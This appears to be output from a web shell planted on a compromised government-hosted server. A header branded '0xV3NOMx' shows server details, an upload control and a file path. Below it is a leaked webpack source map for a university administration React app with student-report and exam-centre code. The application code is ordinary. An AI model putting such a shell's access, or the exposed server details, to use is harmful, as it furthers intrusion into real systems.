0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.223.239.65


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/104.5e5fd59a.chunk.js.map

{"version":3,"sources":["pages/masters/student/StudentReports.js","../node_modules/semantic-ui-react/dist/es/elements/Divider/Divider.js","actions/before-exam/centers.js"],"names":["StudentReports","state","frmDeggrp","reportType","frmSubmit","rftype","fcollcode","clgdrop","fdegfrom","fdegto","fcolfrom","fcolto","fsubfrom","fsubto","showSubRange","fexamrange","fdeggrpfrom","fdeggrpto","moduleType","showRadioButton","showExamRange","currentReportType","value","text","type","getDegrees","e","data","_this","setState","handleChange","_callee","ddOptions","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_regenerator__WEBPACK_IMPORTED_MODULE_0___default","a","wrap","_context","prev","next","console","log","props","dropDownOptions","name","toUpperCase","map","element","fcode","obj","fdescpn","fvalue","push","t0","Object","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_1__","stop","handleSubmit","fdeggrp","user","getReport","showError","header","content","handleReport","_this$state","er","split","join","window","open","ReportAPI","univcode","handleCancel","reportFormat","studentType","handleFromChange","target","renderHeader","react__WEBPACK_IMPORTED_MODULE_8___default","createElement","semantic_ui_react__WEBPACK_IMPORTED_MODULE_10__","Header","style","display","className","semantic_ui_react__WEBPACK_IMPORTED_MODULE_11__","basic","color","onClick","icon","react_router_dom__WEBPACK_IMPORTED_MODULE_9__","to","componentDidMount","getDropDownOptions","handleItemClick","_ref2","activeItem","_this2","this","_this$state2","colgname","college","filter","item","wheight","parseInt","fcurtype","degcoll","fcollname","concat","wHeight","fluid","Content","semantic_ui_react__WEBPACK_IMPORTED_MODULE_12__","Description","overflowY","height","margin","semantic_ui_react__WEBPACK_IMPORTED_MODULE_13__","Field","semantic_ui_react__WEBPACK_IMPORTED_MODULE_14__","placeholder","selection","search","options","onChange","Group","Input","width","onBlur","maxLength","label","marginTop","inline","control","Radio","checked","Component","connect","deggrp","collegeReport","univ","funivcode","menu","activeCollege","fetchDropDownOptions","fetchDegGrp","fetchDegColl","getActiveCollegeList","_babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0__","__webpack_require__","_babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default","n","classnames__WEBPACK_IMPORTED_MODULE_1__","classnames__WEBPACK_IMPORTED_MODULE_1___default","react__WEBPACK_IMPORTED_MODULE_2__","react__WEBPACK_IMPORTED_MODULE_2___default","_lib__WEBPACK_IMPORTED_MODULE_3__","_lib__WEBPACK_IMPORTED_MODULE_4__","_lib__WEBPACK_IMPORTED_MODULE_5__","_lib__WEBPACK_IMPORTED_MODULE_6__","Divider","children","clearing","fitted","hidden","horizontal","inverted","section","vertical","classes","rest","ElementType","isNil","handledProps","propTypes","__webpack_exports__","_ref","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_asyncToGenerator__WEBPACK_IMPORTED_MODULE_1__","mark","dispatch","getState","response","univadmin","get","params","sent","payload","error_code","msg","status","_x","_x2","apply","arguments","updateCntr","el","i","addCntr","fetchCntrListdet","examcntr","degGrp","thpr","_callee2","_context2","_x3","_x4","saveExamCenter","examcntrlist","_ref3","_callee3","_context3","post","_x5","_x6","deleteExamCenter","_ref4","_callee4","_context4","_x7","_x8"],"mappings":"6TAoBMA,6MACJC,MAAQ,CACNC,UAAW,GACXC,WAAY,yBACZC,WAAW,EACXC,OAAQ,MACRC,UAAW,GACXC,SAAS,EACTC,SAAU,EACVC,OAAQ,OACRC,SAAU,IACVC,OAAQ,OACRC,SAAU,IACVC,OAAQ,OACRC,cAAc,EACdC,WAAY,SACZC,YAAa,GACbC,UAAW,GACXC,WAAY,GACZC,iBAAiB,EACjBC,eAAe,EACfC,kBAAmB,CACjB,CACEC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BACbC,OAAQ,aAOVV,EAAS,CACP5J,KAAM,YACNmK,QAASL,EAAS3J,OAhCjB,wBAAA+L,EAAAnK,SAAAkK,MAAP,gBAAAE,EAAAC,GAAA,OAAAJ,EAAAvB,MAAA/F,KAAAgG,YAAA","file":"static/js/104.5e5fd59a.chunk.js","sourcesContent":["import React, { Component } from \"react\";\nimport { Link } from \"react-router-dom\";\nimport {\n  Card,\n  Button,\n  Form,\n  Dropdown,\n  Divider,\n  Radio,\n  Menu,\n  Header,\n} from \"semantic-ui-react\";\nimport { connect } from \"react-redux\";\nimport { fetchDegGrp, getReport, getDropDownOptions } from \"../../../actions\";\nimport { ReportAPI } from \"../../../apis/consts\";\nimport { showError } from \"../../../actions\";\nimport { wHeight } from \"../../parms\";\nimport { fetchDegColl } from \"../../../actions/before-exam/centers\";\nimport { getActiveCollegeList } from \"../../../actions/masters/activeclglist\";\n\nclass StudentReports extends Component {\n  state = {\n    frmDeggrp: \"\",\n    reportType: \"degreeWiseStudentCount\",\n    frmSubmit: false,\n    rftype: \"PDF\",\n    fcollcode: \"\",\n    clgdrop: false,\n    fdegfrom: 0,\n    fdegto: \"ZZZZ\",\n    fcolfrom: \"0\",\n    fcolto: \"ZZZZ\",\n    fsubfrom: \"0\",\n    fsubto: \"ZZZZ\",\n    showSubRange: false,\n    fexamrange: \"ABCDEF\",\n    fdeggrpfrom: \"\",\n    fdeggrpto: \"\",\n    moduleType: \"\",\n    showRadioButton: false,\n    showExamRange: false,\n    currentReportType: [\n      {\n        value: \"degreeWiseStudentCount\",\n        text: \"Degree,Category,Genderwise Student Count\",\n        type: \"GENDER\",\n      },\n      {\n        value: \"studentwiseCollList\",\n        text: \"Collegewise Students List\",\n        type: \"GENDER\",\n      },\n      {\n        value: \"collegewiseSummaryReport\",\n        text: \"College, Category,Genderwise Student Count\",\n        type: \"GENDER\",\n      },\n    ],\n  };\n\n  getDegrees = (e, data) => {\n    // console.log(data.value);\n    this.setState({ frmDeggrp: data.value });\n  };\n\n  handleChange = async (e, data) => {\n    console.log(\"opt\", this.props.dropDownOptions);\n\n    // make range capital\n    if (\n      data.name == \"fdegfrom\" ||\n      data.name == \"fdegto\" ||\n      data.name == \"fcolfrom\" ||\n      data.name == \"fcolto\" ||\n      data.name == \"fsubfrom\" ||\n      data.name == \"fsubto\" ||\n      data.name == \"fdeggrpfrom\" ||\n      data.name == \"fdeggrpto\"\n    ) {\n      data.value = data.value.toUpperCase();\n    }\n\n    let ddOptions = [];\n    if (data.name == \"moduleType\") {\n      // console.log(this.props.fetchDropDownOptions);\n      if (data.value == \"ADM\") {\n        this.props.dropDownOptions.map((element) => {\n          if (element.fcode == \"SRADM\") {\n            let obj = {};\n            obj.text = element.fdescpn;\n            obj.value = element.fvalue;\n            ddOptions.push(obj);\n          }\n        });\n      } else if (data.value == \"EXAM\") {\n        this.props.dropDownOptions.map((element) => {\n          if (element.fcode == \"SREXA\") {\n            let obj = {};\n            obj.text = element.fdescpn;\n            obj.value = element.fvalue;\n            ddOptions.push(obj);\n          }\n        });\n      } else if (data.value == \"GEN\") {\n        this.props.dropDownOptions.map((element) => {\n          if (element.fcode == \"SRGEN\") {\n            let obj = {};\n            obj.text = element.fdescpn;\n            obj.value = element.fvalue;\n            ddOptions.push(obj);\n          }\n        });\n      }\n      console.log(\"options\", ddOptions);\n      this.setState({ currentReportType: ddOptions });\n    }\n\n    switch (data.type) {\n      case \"text\":\n        await this.setState({ [data.name]: data.value });\n\n      default:\n        this.setState({ [data.name]: data.value });\n    }\n\n    if (data.value == \"ADM\" || data.value == \"EXAM\") {\n      this.setState({ showSubRange: true });\n      this.setState({ showRadioButton: false });\n    }\n    if (data.value == \"GEN\") {\n      this.setState({ showSubRange: false });\n    }\n    // else {\n    //   this.setState({ showSubRange: false });\n    //\n\n    if (data.value == \"GEN\") this.setState({ showRadioButton: true });\n\n    if (data.value == \"EXAM\") this.setState({ showExamRange: true });\n\n    if (data.value == \"ADM\" || data.value == \"GEN\")\n      this.setState({ showExamRange: false });\n\n    this.setState({ frmSubmit: false });\n  };\n\n  handleSubmit = () => {\n    const { fdeggrp } = this.props.user;\n    const { reportType } = this.state;\n    if (fdeggrp === \"\") {\n      const error = { header: \"Error\", content: \"Select Degree Group\" };\n      this.props.showError(error);\n      return;\n    }\n    this.props.getReport(reportType, \"tables\", fdeggrp);\n    this.setState({ frmSubmit: true });\n  };\n\n  handleReport = () => {\n    const { fdeggrp } = this.props.user;\n    // http://universitysolutions.in/univadmin/app.php?a=exmapp_reg_rep_count&deggrp=UG&univcode=027&fdegfrom=0&fdegto=ZZZZZ&fcollfrom=0&fcollto=ZZZZ\n    const { reportType, rftype } = this.state;\n    if (this.state.showSubRange == true) {\n      let er = this.state.fexamrange;\n      er = er.split(\"\").join(\"','\");\n      console.log(\"first\");\n      console.log(er);\n      window.open(\n        ReportAPI +\n          reportType +\n          \"&univcode=\" +\n          this.props.univcode +\n          \"&deggrp=\" +\n          fdeggrp +\n          \"&format=\" +\n          rftype +\n          \"&fcollfrom=\" +\n          this.state.fcolfrom +\n          \"&fcollto=\" +\n          this.state.fcolto +\n          \"&fdegfrom=\" +\n          this.state.fdegfrom +\n          \"&fdegto=\" +\n          this.state.fdegto +\n          \"&fdeggrpfrom=\" +\n          this.state.fdeggrpfrom +\n          \"&fdeggrpto=\" +\n          this.state.fdeggrpto +\n          \"&fsubfrom=\" +\n          this.state.fsubfrom +\n          \"&fsubto=\" +\n          this.state.fsubto +\n          \"&fexamrange=\" +\n          er,\n        \"_blank\"\n      );\n    } else {\n      window.open(\n        ReportAPI +\n          reportType +\n          \"&univcode=\" +\n          this.props.univcode +\n          \"&deggrp=\" +\n          fdeggrp +\n          \"&format=\" +\n          rftype +\n          \"&fcollfrom=\" +\n          this.state.fcolfrom +\n          \"&fcollto=\" +\n          this.state.fcolto +\n          \"&fdegfrom=\" +\n          this.state.fdegfrom +\n          \"&fdegto=\" +\n          this.state.fdegto +\n          \"&fdeggrpfrom=\" +\n          this.state.fdeggrpfrom +\n          \"&fdeggrpto=\" +\n          this.state.fdeggrpto,\n        \"_blank\"\n      );\n    }\n  };\n\n  handleCancel = () => {\n    this.setState({\n      reportType: \"\",\n      reportFormat: \"\",\n      frmDeggrp: \"\",\n      studentType: \"\",\n    });\n  };\n\n  handleFromChange = (e, data) => {\n    // console.log(\"value\", e.target.name, e.target.value);\n    let name = e.target.name;\n    let value = e.target.value;\n    if (name == \"fdegfrom\" || name == \"fcolfrom\" || name == \"fsubfrom\") {\n      if (name == \"fdegfrom\")\n        value == \"0\"\n          ? this.setState({ fdegto: \"ZZZZ\" })\n          : this.setState({ fdegto: value });\n      if (name == \"fcolfrom\")\n        value == \"0\"\n          ? this.setState({ fcolto: \"ZZZZ\" })\n          : this.setState({ fcolto: value });\n      if (name == \"fsubfrom\")\n        value == \"0\"\n          ? this.setState({ fsubto: \"ZZZZ\" })\n          : this.setState({ fsubto: value });\n\n      if (name == \"fdeggrpfrom\")\n        value == \"0\"\n          ? this.setState({ fdeggrpto: \"ZZZZ\" })\n          : this.setState({ fdeggrpto: value });\n    }\n  };\n\n  renderHeader = () => {\n    return (\n      <Card.Header style={{ display: \"flex\" }}>\n        <h3>General Reports</h3>\n        <div className=\"ml-auto\">\n          <Button\n            basic\n            color=\"blue\"\n            onClick={this.handleReport}\n            content=\"Report\"\n            icon=\"file\"\n          />\n          <Button\n            basic\n            color=\"black\"\n            icon=\"ban\"\n            onClick={this.handleCancel}\n            content=\"Cancel\"\n          />\n          <Link to=\"/dashboard\">\n            <Button basic color=\"red\" content=\"Exit\" icon=\"home\" />\n          </Link>\n        </div>\n      </Card.Header>\n    );\n  };\n\n  componentDidMount = () => {\n    this.setState({\n      fdeggrpfrom: this.props.user.fdeggrp,\n      fdeggrpto: this.props.user.fdeggrp,\n    });\n\n    this.props.getDropDownOptions();\n    console.log(\"api called\", this.props.dropDownOptions);\n  };\n  handleItemClick = (e, { name }) => this.setState({ activeItem: name });\n\n  render() {\n    const {\n      frmSubmit,\n      reportType,\n      rftype,\n      fcollcode,\n      fdegfrom,\n      fdegto,\n      fcolfrom,\n      fcolto,\n      fdeggrpfrom,\n      fdeggrpto,\n      fsubfrom,\n      fsubto,\n      clgdrop,\n      showSubRange,\n      fexamrange,\n      moduleType,\n      currentReportType,\n    } = this.state;\n    const { activeItem } = this.state;\n\n    const moduleTypeOptions = [\n      { value: \"ADM\", text: \"Admission\" },\n      { value: \"EXAM\", text: \"Exam\" },\n      { value: \"GEN\", text: \"General Report\" },\n    ];\n\n    const colgname = this.props.college.filter(\n      (item) => item.fcollcode == this.props.user.fcollcode\n    )[0];\n\n    const collegeOptions =\n      parseInt(this.props.user.fcurtype) < 499\n        ? this.props.degcoll.map((item) => {\n            return {\n              value: item.fcollcode,\n              text: item.fcollname,\n            };\n          })\n        : [\n            {\n              value: colgname.fcollcode,\n              text: `${colgname.fcollcode}  ${colgname.fcollname} `,\n            },\n          ];\n\n    const wheight = wHeight();\n    // console.log(reportType, frmSubmit);\n    return (\n      <div className=\"animated fadeIn\">\n        <Card fluid>\n          <Card.Content>\n            {this.renderHeader()}\n            <Divider />\n            <Card.Description\n              style={{ overflowY: \"auto\", height: `${wheight}px` }}\n            >\n              <div className=\"row\" style={{ margin: \"0px\" }}>\n                <div className=\"col-md-6\">\n                  <Form>\n                    <Form.Field>\n                      <label>Report Type</label>\n                      <Dropdown\n                        placeholder=\"Select Report Type\"\n                        name=\"reportType\"\n                        value={reportType}\n                        selection\n                        search\n                        options={currentReportType}\n                        onChange={this.handleChange}\n                      />\n                    </Form.Field>\n                    <Form.Group>\n                      <Form.Input\n                        placeholder=\"From\"\n                        value={fdeggrpfrom}\n                        width={8}\n                        name=\"fdeggrpfrom\"\n                        onChange={this.handleChange}\n                        onBlur={this.handleFromChange}\n                        maxLength=\"5\"\n                        label=\"Degree Group Range\"\n                      />\n                      <Form.Input\n                        placeholder=\"To\"\n                        name=\"fdeggrpto\"\n                        value={fdeggrpto}\n                        width={8}\n                        onChange={this.handleChange}\n                        maxLength=\"5\"\n                        style={{ marginTop: \"1.6em\" }}\n                      />\n                    </Form.Group>\n                    <Form.Group>\n                      <Form.Input\n                        placeholder=\"From\"\n                        value={fdegfrom}\n                        width={8}\n                        name=\"fdegfrom\"\n                        onChange={this.handleChange}\n                        onBlur={this.handleFromChange}\n                        maxLength=\"5\"\n                        label=\"Degree Range\"\n                      />\n                      <Form.Input\n                        placeholder=\"To\"\n                        name=\"fdegto\"\n                        value={fdegto}\n                        width={8}\n                        onChange={this.handleChange}\n                        maxLength=\"5\"\n                        style={{ marginTop: \"1.6em\" }}\n                      />\n                    </Form.Group>\n                    <Form.Group>\n                      <Form.Input\n                        placeholder=\"From\"\n                        value={fcolfrom}\n                        width={8}\n                        name=\"fcolfrom\"\n                        onChange={this.handleChange}\n                        onBlur={this.handleFromChange}\n                        maxLength=\"4\"\n                        label=\"College Range\"\n                      />\n                      <Form.Input\n                        placeholder=\"To\"\n                        name=\"fcolto\"\n                        value={fcolto}\n                        width={8}\n                        onChange={this.handleChange}\n                        maxLength=\"4\"\n                        style={{ marginTop: \"1.6em\" }}\n                      />\n                    </Form.Group>\n\n                    <Form.Group inline>\n                      <Form.Field\n                        control={Radio}\n                        name=\"rftype\"\n                        label=\"PDF\"\n                        value=\"PDF\"\n                        checked={rftype === \"PDF\"}\n                        onChange={this.handleChange}\n                      />\n                      <Form.Field\n                        control={Radio}\n                        name=\"rftype\"\n                        label=\"EXCEL\"\n                        value=\"Excel\"\n                        checked={rftype === \"Excel\"}\n                        onChange={this.handleChange}\n                      />\n                    </Form.Group>\n                    <br />\n                  </Form>\n                </div>\n              </div>\n            </Card.Description>\n          </Card.Content>\n        </Card>\n      </div>\n    );\n  }\n}\n\nconst mapStateToProps = (state) => {\n  return {\n    deggrp: state.deggrp,\n    collegeReport: state.collegeReport,\n    univcode: state.univ.funivcode,\n    user: state.user,\n    menu: state.menu,\n    degcoll: state.degcoll,\n    college: state.activeCollege,\n    dropDownOptions: state.fetchDropDownOptions,\n  };\n};\nexport default connect(mapStateToProps, {\n  fetchDegGrp,\n  fetchDegColl,\n  getReport,\n  showError,\n  getActiveCollegeList,\n  getDropDownOptions,\n})(StudentReports);\n","import _extends from \"@babel/runtime/helpers/extends\";\nimport cx from 'classnames';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { childrenUtils, customPropTypes, getElementType, getUnhandledProps, useKeyOnly } from '../../lib';\n/**\n * A divider visually segments content into groups.\n */\n\nfunction Divider(props) {\n  var children = props.children,\n      className = props.className,\n      clearing = props.clearing,\n      content = props.content,\n      fitted = props.fitted,\n      hidden = props.hidden,\n      horizontal = props.horizontal,\n      inverted = props.inverted,\n      section = props.section,\n      vertical = props.vertical;\n  var classes = cx('ui', useKeyOnly(clearing, 'clearing'), useKeyOnly(fitted, 'fitted'), useKeyOnly(hidden, 'hidden'), useKeyOnly(horizontal, 'horizontal'), useKeyOnly(inverted, 'inverted'), useKeyOnly(section, 'section'), useKeyOnly(vertical, 'vertical'), 'divider', className);\n  var rest = getUnhandledProps(Divider, props);\n  var ElementType = getElementType(Divider, props);\n  return React.createElement(ElementType, _extends({}, rest, {\n    className: classes\n  }), childrenUtils.isNil(children) ? content : children);\n}\n\nDivider.handledProps = [\"as\", \"children\", \"className\", \"clearing\", \"content\", \"fitted\", \"hidden\", \"horizontal\", \"inverted\", \"section\", \"vertical\"];\nDivider.propTypes = process.env.NODE_ENV !== \"production\" ? {\n  /** An element type to render as (string or function). */\n  as: customPropTypes.as,\n\n  /** Primary content. */\n  children: PropTypes.node,\n\n  /** Additional classes. */\n  className: PropTypes.string,\n\n  /** Divider can clear the content above it. */\n  clearing: PropTypes.bool,\n\n  /** Shorthand for primary content. */\n  content: customPropTypes.contentShorthand,\n\n  /** Divider can be fitted without any space above or below it. */\n  fitted: PropTypes.bool,\n\n  /** Divider can divide content without creating a dividing line. */\n  hidden: PropTypes.bool,\n\n  /** Divider can segment content horizontally. */\n  horizontal: PropTypes.bool,\n\n  /** Divider can have its colours inverted. */\n  inverted: PropTypes.bool,\n\n  /** Divider can provide greater margins to divide sections of content. */\n  section: PropTypes.bool,\n\n  /** Divider can segment content vertically. */\n  vertical: PropTypes.bool\n} : {};\nexport default Divider;","import univadmin from \"../../apis/univadmin\";\n\nexport const fetchDegColl = deggrp => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"fetchDegColl\",\n        univcode: state.univ.funivcode,\n        deggrp: deggrp\n      }\n    });\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: { msg: \"Something went wrong\" },\n        status: \"failure\"\n      };\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: data\n      });\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"FETCH_DEGCOLL\",\n        payload: response.data\n      });\n    } else {\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: response.data\n      });\n    }\n  };\n};\n\nexport const updateCntr = (el, i) => {\n  return {\n    type: \"UPD_CNTR_DET\",\n    payload: { el, i }\n  };\n};\n\nexport const addCntr = el => {\n  // console.log(el);\n  return {\n    type: \"ADD_CNTR_DET\",\n    payload: el\n  };\n};\n\nexport const fetchCntrListdet = (examcntr, degGrp, thpr) => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    dispatch({\n      type: \"SET_LOADER\"\n    });\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"fetchCntrListdet\",\n        univcode: state.univ.funivcode,\n        deggrp: degGrp,\n        examcntr: examcntr,\n        thpr: thpr\n      }\n    });\n\n    dispatch({\n      type: \"UNSET_LOADER\"\n    });\n\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: { msg: \"Something went wrong\" },\n        status: \"failure\"\n      };\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: data\n      });\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"FETCH_CNTR_DET\",\n        payload: response.data\n      });\n    } else {\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: response.data\n      });\n    }\n  };\n};\n\nexport const saveExamCenter = (examcntrlist, examcntr, degGrp, thpr) => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    dispatch({\n      type: \"SET_LOADER\"\n    });\n    const response = await univadmin.post(\n      \"/app.php?a=saveExamCenter&univcode=\" + state.univ.funivcode,\n      {\n        data: {\n          deggrp: degGrp,\n          examcntr: examcntr,\n          thpr: thpr,\n          examcntrlist: examcntrlist\n        }\n      }\n    );\n    dispatch({\n      type: \"UNSET_LOADER\"\n    });\n\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: { msg: \"Something went wrong\" },\n        status: \"failure\"\n      };\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: data\n      });\n    } else {\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: response.data\n      });\n    }\n  };\n};\n\nexport const deleteExamCenter = (examcntr, degGrp, thpr) => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    dispatch({\n      type: \"SET_LOADER\"\n    });\n    const response = await univadmin.post(\n      \"/app.php?a=deleteExamCenter&univcode=\" + state.univ.funivcode,\n      {\n        data: {\n          deggrp: degGrp,\n          examcntr: examcntr,\n          thpr: thpr\n        }\n      }\n    );\n    dispatch({\n      type: \"UNSET_LOADER\"\n    });\n\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: { msg: \"Something went wrong\" },\n        status: \"failure\"\n      };\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: data\n      });\n    } else {\n      dispatch({\n        type: \"SET_ERROR\",\n        payload: response.data\n      });\n    }\n  };\n};\n"],"sourceRoot":""}